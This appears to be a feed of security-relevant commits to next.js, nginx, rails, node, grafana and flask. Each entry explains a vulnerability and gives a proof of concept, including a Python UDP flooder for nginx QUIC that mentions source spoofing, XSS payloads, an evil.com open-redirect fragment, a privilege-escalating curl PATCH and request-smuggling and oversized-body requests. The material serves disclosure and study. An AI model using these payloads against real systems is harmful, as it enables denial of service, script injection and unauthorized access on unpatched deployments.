“Exposing patches before CVEs since 2025”
Saturday, June 27, 2026
Feb 26, 2026, 02:11 PM — vercel/next.js
Commit: 2307bf6e521a6969423f7010cdd36d4210d1b7a9
Author: Tobias Koppers
Before the patch, `ProcessEnv::read_all()` returned a serializable `EnvMap`, which could be automatically persisted into Turbopack/Next.js' on-disk persistent cache. This meant any process environment variable (including secrets like API keys and tokens) could be written to disk and later recovered by anyone with read access to the cache directory (e.g., another local user, CI artifact consumers, or a compromised build agent). The patch introduces `TransientEnvMap` with `serialization = "none"` and changes `read_all()` to return it, preventing env vars from being persisted and forcing them to be re-read from the process environment after cache restore.
/// Reads all env variables into a Map #[turbo_tasks::function] fn read_all(self: Vc<Self>) -> Vc<EnvMap>; // e.g. Vc::cell(env_snapshot())
Prereq: a Next.js/Turbopack project using persistent caching (default local cache dir). 1) Run a build with a secret in the environment so it gets captured by `read_all()`: $ export AWS_SECRET_ACCESS_KEY='POC_SUPER_SECRET_123' $ export NEXT_TELEMETRY_DISABLED=1 $ next dev # or a turbopack-enabled build that populates the persistent cache 2) Search the on-disk cache for the secret (the exact path can vary by platform, but typically under the project’s .next cache or Turbopack cache directory): $ rg -n "POC_SUPER_SECRET_123" .next/ 2>/dev/null || true $ rg -n "POC_SUPER_SECRET_123" .turbo/ 2>/dev/null || true $ rg -n "POC_SUPER_SECRET_123" . 2>/dev/null | head Expected vulnerable behavior (before patch): the secret string is found in one or more cache files because `EnvMap` was auto-serialized. Impact demonstration: any actor who can read that cache directory (e.g., another user on the machine, or someone who downloads CI cache artifacts) can recover `AWS_SECRET_ACCESS_KEY` by grepping the cache.
Feb 26, 2026, 02:05 PM — nginx/nginx
Commit: e6ffe8384ebf1972faac9b031b9ff6182e79cfd6
Author: Sergey Kandaurov
Before the patch, nginx would generate and send a QUIC Stateless Reset for every incoming packet that triggered the stateless reset path, with no per-source rate limiting. An attacker could spoof many UDP packets (often with spoofed source IPs) to force the server to spend CPU on hashing/random generation and to emit many Stateless Reset packets, creating resource exhaustion and reflected traffic. The patch adds a per-second Bloom-filter-based limiter keyed by source address so repeated triggers from the same address are declined.
ngx_int_t
ngx_quic_send_stateless_reset(ngx_connection_t *c, ngx_quic_conf_t *conf,
ngx_quic_header_t *pkt)
{
...
if (pkt->len <= NGX_QUIC_MIN_SR_PACKET) {
len = pkt->len - 1;
...
return ngx_quic_send(c, buf, len, c->sockaddr, c->socklen);
}
Prereq: QUIC enabled on nginx (listen ... quic).
1) Flood the server with UDP datagrams that look like short-header QUIC packets with a random DCID, causing nginx to respond with Stateless Reset repeatedly.
Example Python flooder (sends many packets; if you can spoof, set a victim IP as source to demonstrate reflection):
```python
import os, socket, time
target_ip = "NGINX_IP"
target_port = 443 # QUIC port
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# QUIC short header first byte: 0b010xxxxx (0x40..0x7f). Use 0x40.
# Fill rest with random bytes to simulate unknown connection id etc.
pkt_len = 1200
payload = bytes([0x40]) + os.urandom(pkt_len - 1)
end = time.time() + 10
while time.time() < end:
s.sendto(payload, (target_ip, target_port))
```
Expected behavior BEFORE patch: server emits a Stateless Reset for essentially every received datagram (observable with tcpdump on server: `udp and port 443` showing many outgoing packets) and CPU/network usage increases proportionally to attack rate.
Expected behavior AFTER patch: for a given source address, after the first reset in a 1-second window, subsequent reset attempts are mostly dropped (function returns NGX_DECLINED), significantly reducing outgoing packets and server work per attacker address.
If spoofing is available (raw sockets), repeat with varying spoofed source IPs to demonstrate reflection potential; without spoofing, the same script still demonstrates server-side CPU/network DoS from a single host.
Feb 24, 2026, 08:56 PM — rails/rails
Commit: e905b2e3cda49e17f20ee65ef2b851b035f813a2
Author: Mike Dalessio
The markdown conversion functionality was vulnerable to XSS attacks through malicious javascript: URLs that could bypass protocol filtering using obfuscation techniques like leading whitespace, HTML entity encoding, or case variations. The patch fixes this by delegating URI validation to Rails::HTML::Sanitizer.allowed_uri? which properly handles these bypass attempts.
if (href = node["href"]) && allowed_href_protocol?(href)
"[#{inner}](#{href})"
else
inner
end
<a href=" javascript:alert('XSS')">Click me</a> or <a href="javascript:alert('XSS')">Click me</a> - these would be converted to markdown links that execute JavaScript when clicked, bypassing the original protocol validation
Feb 24, 2026, 07:51 PM — nodejs/node
Commit: 84d1e6cb0d43a1f29bea4d28829d77a1de937634
Author: Nora Dossche
The code failed to check if BIO_meth_new() returns NULL before passing the result to BIO_meth_set_* functions, causing a null pointer dereference. This could lead to application crashes and potential denial of service when SSL/TLS operations are initiated under memory pressure conditions.
BIO_METHOD* method = BIO_meth_new(BIO_TYPE_MEM, "node.js SSL buffer"); BIO_meth_set_write(method, Write);
Trigger memory exhaustion by creating many large objects, then initiate SSL/TLS connection which calls NodeBIO::GetMethod(). When BIO_meth_new() fails and returns NULL due to memory pressure, the subsequent BIO_meth_set_write(NULL, Write) call will dereference NULL pointer causing segmentation fault and application crash.
Feb 23, 2026, 10:14 AM — grafana/grafana
Commit: e8a2b4becff169708c37dd3744be5fc5d59de662
Author: xavi
The ValidateRedirectTo function was vulnerable to open redirect attacks through URL fragments. Attackers could bypass path validation by using URL fragments containing dangerous patterns like '../' or '//', which were not sanitized before the redirect. The patch fixes this by validating fragments and returning a sanitized URL string instead of the original user input.
if redirectDenyRe.MatchString(to.Path) {
return errForbiddenRedirectTo
}
// Fragment validation was missing
return redirectTo // Original unsanitized input returned
POST /login with redirect_to cookie set to '/dashboard#//evil.com/steal' - the fragment '#//evil.com/steal' would bypass the path validation regex and could be used in client-side JavaScript to redirect users to the malicious domain
Feb 23, 2026, 10:10 AM — nginx/nginx
Commit: bb8ec295ab59451c19c0ae0c66882b4f84ff4ef7
Author: CodeByMoriarty
The code failed to validate that sync sample values in MP4 stss atoms are 1-based as required by ISO 14496-12. A zero-valued stss entry caused the key_prefix calculation to exceed consumed samples, leading the backward loop in ngx_http_mp4_crop_stts_data() to walk past the beginning of the stts data buffer, causing out-of-bounds memory access.
sample = ngx_mp4_get_32value(entry);
if (sample > start_sample) {
break;
}
key_prefix = start_sample - sample;
Craft a malicious MP4 file with an stss atom containing a zero sync sample value (0x00000000). When nginx processes this file with mp4 module enabled and start_key_frame is on, the zero sample causes key_prefix to equal start_sample + 1, which exceeds the samples processed in the forward stts pass. This triggers the backward loop in ngx_http_mp4_crop_stts_data() to read/write beyond the stts buffer boundaries, potentially leading to memory corruption or information disclosure.
Feb 20, 2026, 04:48 AM — vercel/next.js
Commit: ca0957df545d2b7757bdf1a3a6343c65bffdbba9
Author: Josh Story
The unhandled rejection filter module was being bundled twice, causing mutual recursion when handling unhandled Promise rejections. Each instance captured the other's handler, creating an infinite loop that would overflow the stack and crash the server on any unhandled rejection.
function filteringUnhandledRejectionHandler(reason, promise) {
// Handler gets called recursively between two instances
// No guards to prevent infinite recursion
}
// Trigger an unhandled Promise rejection in a Next.js server with the vulnerable setup
Promise.reject(new Error('test rejection'));
// This would cause infinite recursion between the two installed handlers,
// eventually overflowing the call stack and crashing the Node.js process
Feb 19, 2026, 06:22 PM — grafana/grafana
Commit: 6d3440a24dce4c5bd108b061a0aea9494dacc1e8
Author: beejeebus
The code was truncating SHA256 hashes to only 10 characters when generating secret names, dramatically increasing collision probability from negligible to ~1 in 16^10. This allows attackers to craft field names that collide with existing secret field names, potentially accessing or modifying secrets they shouldn't have access to.
h := sha256.New()
h.Write([]byte(dsUID))
h.Write([]byte("|"))
h.Write([]byte(key))
n := hex.EncodeToString(h.Sum(nil))
return apistore.LEGACY_DATASOURCE_SECURE_VALUE_NAME_PREFIX + n[0:10]
1. Target existing secret with field name 'password' for dsUID 'abc123' (generates truncated hash like 'lds-sv-0d27eff323') 2. Craft malicious field name by brute-forcing inputs until finding one that produces same 10-character prefix 3. With ~1.1M attempts, find collision like field name 'malicious_field_xyz' that also produces 'lds-sv-0d27eff323' 4. Create datasource with the colliding field name to access/overwrite the legitimate 'password' secret
Feb 19, 2026, 10:06 AM — grafana/grafana
Commit: d2b5d7ac04fe835fee18108f1f4655f528ace109
Author: Georges Chaudy
The code had a fallback authentication mechanism that would allow any request to bypass authorization checks when the primary authenticator failed. The fallback would accept requests with only namespace validation, effectively allowing unauthorized access to resources.
newCtx, err = f.fallback(ctx)
if newCtx != nil {
newCtx = resource.WithFallback(newCtx)
}
f.metrics.requestsTotal.WithLabelValues("true", fmt.Sprintf("%t", err == nil)).Inc()
return newCtx, err
Send a gRPC request to the unified storage service with malformed or missing authentication headers that would cause the primary authenticator to fail. The fallback authenticator would then activate, and any subsequent resource access request with a valid namespace (e.g., namespace: "some-valid-namespace") would be granted access regardless of actual user permissions, bypassing RBAC controls entirely.
Feb 19, 2026, 05:56 AM — pallets/flask
📈 Patch landed 14 hours 49 minutes before CVE published
Commit: daca74d93a0edc458e618136de7d14803f06bc28
Author: David Lord
The session was not being marked as accessed when only reading operations like checking keys or length occurred, causing the 'Vary: Cookie' header to not be set. This could allow caching proxies to serve the same cached response to different users, potentially leaking session-dependent data between users.
def session(self) -> SessionMixin:
if self._session is None:
self._session = si.make_null_session(self.app)
return self._session
User A visits `/profile` which checks `if 'user_id' in session:` and returns personalized data. Caching proxy caches this response without Vary: Cookie header. User B visits same URL and receives User A's cached personal data because session wasn't marked as accessed during the `in` operation.
Feb 19, 2026, 03:35 AM — pallets/flask
📈 Patch landed 17 hours 9 minutes before CVE published
Commit: 089cb86dd22bff589a4eafb7ab8e42dc357623b4
Author: David Lord
The session was not being marked as accessed when only checking keys/metadata, allowing caching proxies to cache pages for different users. This could lead to session data being served to wrong users through shared caches. The patch fixes this by tracking session access at the request context level.
def __getitem__(self, key: str) -> t.Any:
self.accessed = True
return super().__getitem__(key)
1. User A logs in and visits /profile (session contains user data) 2. Caching proxy caches the response without Vary: Cookie header 3. User B visits /profile and gets User A's cached profile data 4. This occurs because operations like 'username' in session or len(session) didn't set accessed=True, so no Vary header was added
Feb 19, 2026, 03:02 AM — pallets/flask
📈 Patch landed 17 hours 42 minutes before CVE published
Commit: c17f379390731543eea33a570a47bd4ef76a54fa
Author: David Lord
The session was not properly marked as accessed when only reading session metadata (keys, length checks), allowing responses to be cached without the Vary: Cookie header. This could lead to cache poisoning where one user's cached response is served to another user, potentially exposing session-dependent data.
def __getitem__(self, key: str) -> t.Any:
self.accessed = True
return super().__getitem__(key)
def get(self, key: str, default: t.Any = None) -> t.Any:
self.accessed = True
1. User A visits `/check` endpoint that does `if 'admin' in session:` (metadata access only) 2. Response cached without Vary: Cookie header since session.accessed stays False 3. User B (different session) visits same endpoint, gets User A's cached response 4. User B sees content based on User A's session state instead of their own session
Feb 18, 2026, 10:25 PM — grafana/grafana
📈 Patch landed 6 days 17 hours 5 minutes before CVE published
Commit: 1bf82450843ecd6e044b74ed0a7cda10989e8b4a
Author: Mihai Turdean
The scope resolver cache was not invalidated when datasources were deleted, causing stale name-to-UID mappings. When a datasource was deleted and a new one created with the same name, the cached entry would resolve to the deleted datasource's UID, leading to incorrect authorization decisions. The patch fixes this by invalidating the cache entry for the datasource name scope during deletion.
// Before patch - no cache invalidation in deletion handlers
hs.Live.HandleDatasourceDelete(c.GetOrgID(), ds.UID)
return response.Success("Data source deleted")
1. Create datasource 'test-ds' with UID 'uid-123' (cache stores test-ds -> uid-123) 2. Delete datasource 'test-ds' (cache still has stale test-ds -> uid-123) 3. Create new datasource 'test-ds' with UID 'uid-456' 4. Access control checks for 'test-ds' resolve to deleted UID 'uid-123' instead of current 'uid-456', potentially allowing unauthorized access or denying legitimate access
Feb 18, 2026, 04:53 PM — vercel/next.js
📈 Patch landed 26 days 23 hours 23 minutes before CVE published
Commit: c885d4825f800dd1e49ead37274dcd08cdd6f3f1
Author: Zack Tanner
The code had a missing size check for postponed request bodies in self-hosted setups, allowing attackers to send arbitrarily large payloads that would consume server memory and potentially crash the application. The patch ensures maxPostponedStateSize is consistently enforced across all code paths that buffer postponed bodies.
const body: Array<Buffer> = []
for await (const chunk of req) {
body.push(chunk)
}
const postponed = Buffer.concat(body).toString('utf8')
POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded next-resume: 1 Content-Length: 1073741824 [1GB of 'A' characters] This would cause the server to buffer the entire 1GB payload in memory without any size validation, leading to memory exhaustion and potential DoS.
Feb 18, 2026, 11:55 AM — grafana/grafana
Commit: a6a74c570e33e07e55000fd0bf58cb97c0cc1c6b
Author: Matheus Macabu
The audit logging configuration was exposing sensitive data source request and response bodies by default. This could lead to credentials, API keys, and sensitive query data being logged in plaintext audit files accessible to system administrators.
log_datasource_query_request_body = true log_datasource_query_response_body = true
1. Configure a data source with API key in headers (e.g., Prometheus with `Authorization: Bearer secret-token`)
2. Execute query: `up{job="mysql"}`
3. Check audit logs - they would contain: `"request_body":{"headers":{"Authorization":"Bearer secret-token"}}` and full response data including potentially sensitive metrics values
Feb 17, 2026, 03:51 PM — grafana/grafana
Commit: 0c82488359278bb6295db51dcb75693172fbc031
Author: Gabriel MABILLE
The rolebindings API was accessible to all authenticated users without proper authorization checks. This allowed any user to potentially view, modify, or create role bindings, leading to privilege escalation. The patch restricts access to only access policy identities.
if a.GetResource() == "rolebindings" {
return resourceAuthorizer.Authorize(ctx, a)
}
A regular user could make API calls to the rolebindings endpoint (e.g., GET /api/iam/rolebindings or POST /api/iam/rolebindings) with their normal user credentials to access or modify role bindings they shouldn't have access to, potentially escalating their privileges by binding themselves to administrative roles.
Feb 17, 2026, 01:45 PM — nginx/nginx
Commit: ec714d52bd4914d52a113234c16e1855d9ac7dcf
Author: Sergey Kandaurov
The vulnerability allows attackers to cause a mismatch between the Content-Length header sent to SCGI backends and the actual request body size in unbuffered mode. This can lead to HTTP request smuggling or desynchronization between nginx and SCGI backends, potentially allowing request smuggling attacks.
body = r->upstream->request_bufs;
while (body) {
content_length_n += ngx_buf_size(body->buf);
body = body->next;
}
Send a chunked POST request to nginx with SCGI backend in unbuffered mode: ``` POST /scgi-endpoint HTTP/1.1 Host: example.com Transfer-Encoding: chunked Content-Length: 100 5 hello 0 ``` The recalculated body size (5 bytes) differs from original Content-Length (100 bytes), causing the SCGI backend to expect more data than nginx sends, leading to request desynchronization.
Feb 16, 2026, 02:28 PM — grafana/grafana
Commit: eda64c644f56532db895902ca7036d06d9365d2b
Author: Costa Alexoglou
The code incorrectly assigned key functions for namespaced and cluster-scoped resources, causing namespaced resources to use cluster-scoped key functions and vice versa. This could allow unauthorized access to resources across namespace boundaries by manipulating resource keys.
if isNamespaced {
statusStore.Store.KeyFunc = grafanaregistry.NamespaceKeyFunc(gr)
statusStore.Store.KeyRootFunc = grafanaregistry.KeyRootFunc(gr)
} else {
statusStore.Store.KeyFunc = grafanaregistry.ClusterScopedKeyFunc(gr)
curl -X PATCH 'http://localhost:3000/apis/advisor.grafana.app/v0alpha1/namespaces/admin-namespace/checks/sensitive-check/status' -H 'Content-Type: application/json-patch+json' -u 'low-priv-user:password' -d '[{"op": "replace", "path": "/status", "value": {"compromised": true}}]' - This would allow a low-privileged user to modify status of resources in other namespaces due to incorrect key function assignment.
Feb 16, 2026, 09:59 AM — grafana/grafana
Commit: bcc238cf782dabfc23166336f2f4c924dd76fff8
Author: Misi
The endpoint allowed any authenticated user to access team member information without proper authorization checks. The patch adds a permission check requiring 'GetPermissions' verb on the Team resource before returning member data.
// No authorization check before returning team members
result, err := s.client.Search(ctx, searchRequest)
if err != nil {
responder.Error(err)
return
}
An authenticated user without team permissions could call GET /api/teams/{team-id}/members to retrieve sensitive member information for any team they shouldn't have access to, potentially exposing user associations and team structure across the organization.
Feb 16, 2026, 07:30 AM — grafana/grafana
Commit: 45f14bc5ab6e7a2a45f91029ca7c05d46ac613d2
Author: Gonzalo Trigueros Manzanas
The files API endpoints were not enforcing quota limits, allowing authenticated users to bypass resource quotas and create unlimited files/dashboards. This could lead to resource exhaustion and denial of service. The patch adds quota checks before allowing POST/PUT operations on files.
func (c *filesConnector) handleRequest(ctx context.Context, name string, r *http.Request, info rest.ConnectRequest) (http.Handler, error) {
// Missing quota enforcement for write operations
obj, err := c.handleMethodRequest(ctx, r, opts, isDir, dualReadWriter)
}
POST /apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/test-repo/files/dashboard1.json with valid auth token and dashboard JSON payload. Repeat requests beyond the configured quota limit (e.g., if quota is 10 resources, make 15+ POST requests creating new files). Before the patch, all requests would succeed despite exceeding quota, potentially exhausting disk space or overwhelming the system.
Feb 13, 2026, 05:21 PM — nodejs/node
Commit: 37ff1ea989af13e47052be2571c3781bc45977d4
Author: Martin Slota
A race condition in HTTP keep-alive socket reuse allowed responseKeepAlive() to be called twice, corrupting socket state and causing the agent to hand an already-assigned socket to multiple requests. This could cause requests to hang, timeout, or potentially leak data between requests sharing the same corrupted socket.
if (req.shouldKeepAlive && req._ended) responseKeepAlive(req);
const http = require('http');
const agent = new http.Agent({ keepAlive: true, maxSockets: 1 });
// Send multiple POST requests with Expect: 100-continue header
// The server responds quickly while client delays req.end() slightly
// This triggers the race where responseOnEnd() and requestOnFinish()
// both call responseKeepAlive(), corrupting the socket and causing
// subsequent requests to hang or timeout due to stripped listeners
for (let i = 0; i < 10; i++) {
const req = http.request({
method: 'POST',
agent,
headers: { 'Expect': '100-continue' }
});
setTimeout(() => req.end(), 0); // Delay to hit race window
}
Feb 13, 2026, 04:30 PM — nodejs/node
Commit: b92c9b5ff5032ba890cb53b8ae70f1eb0e0ca63a
Author: giulioAZ
A Time-of-Check Time-of-Use race condition in worker thread process.cwd() caching allowed workers to cache stale directory values. The counter was incremented before the directory change completed, creating a race window where workers could read the old directory but cache it with the new counter value.
process.chdir = function(path) {
AtomicsAdd(cwdCounter, 0, 1);
originalChdir(path);
};
const { Worker } = require('worker_threads');
const worker = new Worker(`
setInterval(() => {
const cwd = process.cwd();
console.log('Worker sees:', cwd);
}, 1);
`, { eval: true });
// Rapidly change directories
setInterval(() => {
process.chdir('..');
process.chdir('./some-dir');
}, 10);
// Workers will intermittently report incorrect directory paths due to caching stale values with updated counter
Feb 11, 2026, 12:01 PM — grafana/grafana
📈 Patch landed 21 hours 29 minutes before CVE published
Commit: 8dfa6446942873d76cd94c63a2d6b71a25e880da
Author: Mariell Hoversholm
The code was vulnerable to Cross-Site Scripting (XSS) by directly rendering user-controlled data via dangerouslySetInnerHTML without sanitization. Malicious trace data could inject JavaScript that would execute in users' browsers. The patch fixes this by sanitizing HTML content with DOMPurify before rendering.
const jsonTable = <div className={styles.jsonTable} dangerouslySetInnerHTML={markup} />;
where markup could contain:
__html: `<span style="white-space: pre-wrap;">${row.value}</span>`
A malicious trace with a KeyValuePair containing: {"key": "malicious", "value": "</span><script>alert('XSS');</script><span>", "type": "text"} would result in script execution when viewing the trace details in Grafana's TraceView component.
Feb 11, 2026, 12:01 PM — grafana/grafana
📈 Patch landed 21 hours 29 minutes before CVE published
Commit: e97fa5f587c80fc3956faf56e29aa5c717f1bc43
Author: Mariell Hoversholm
The vulnerability allows attackers to bypass time range restrictions on public dashboards when time selection is disabled. By manipulating request time parameters, attackers can access annotations outside the intended dashboard time range, potentially exposing sensitive data from unauthorized time periods.
annoQuery := &annotations.ItemQuery{
From: reqDTO.From,
To: reqDTO.To,
OrgID: dash.OrgID,
DashboardID: dash.ID,
POST /api/public/dashboards/{uid}/annotations with body: {"from": 0, "to": 9999999999999} - This would bypass dashboard time restrictions and retrieve all annotations across the entire time range, even when time selection is disabled and should be restricted to the dashboard's configured time window.
Feb 11, 2026, 12:36 AM — grafana/grafana
Commit: f073f6486c6c21f237add3b8ff4117f6a4b3ba15
Author: Jocelyn Collado-Kuri
The code forwards arbitrary HTTP headers from incoming requests to outgoing gRPC calls without proper validation or sanitization. An attacker can inject malicious headers that could be used to bypass security controls, manipulate downstream services, or perform request smuggling attacks.
for key, value := range req.Headers {
ctx = metadata.AppendToOutgoingContext(ctx, key, url.PathEscape(value))
}
Send a streaming request with malicious headers like 'Authorization: Bearer stolen-token' or 'X-Forwarded-For: 127.0.0.1' in the Headers map of backend.RunStreamRequest. These headers would be forwarded to the Tempo backend, potentially allowing privilege escalation or IP spoofing attacks against the downstream service.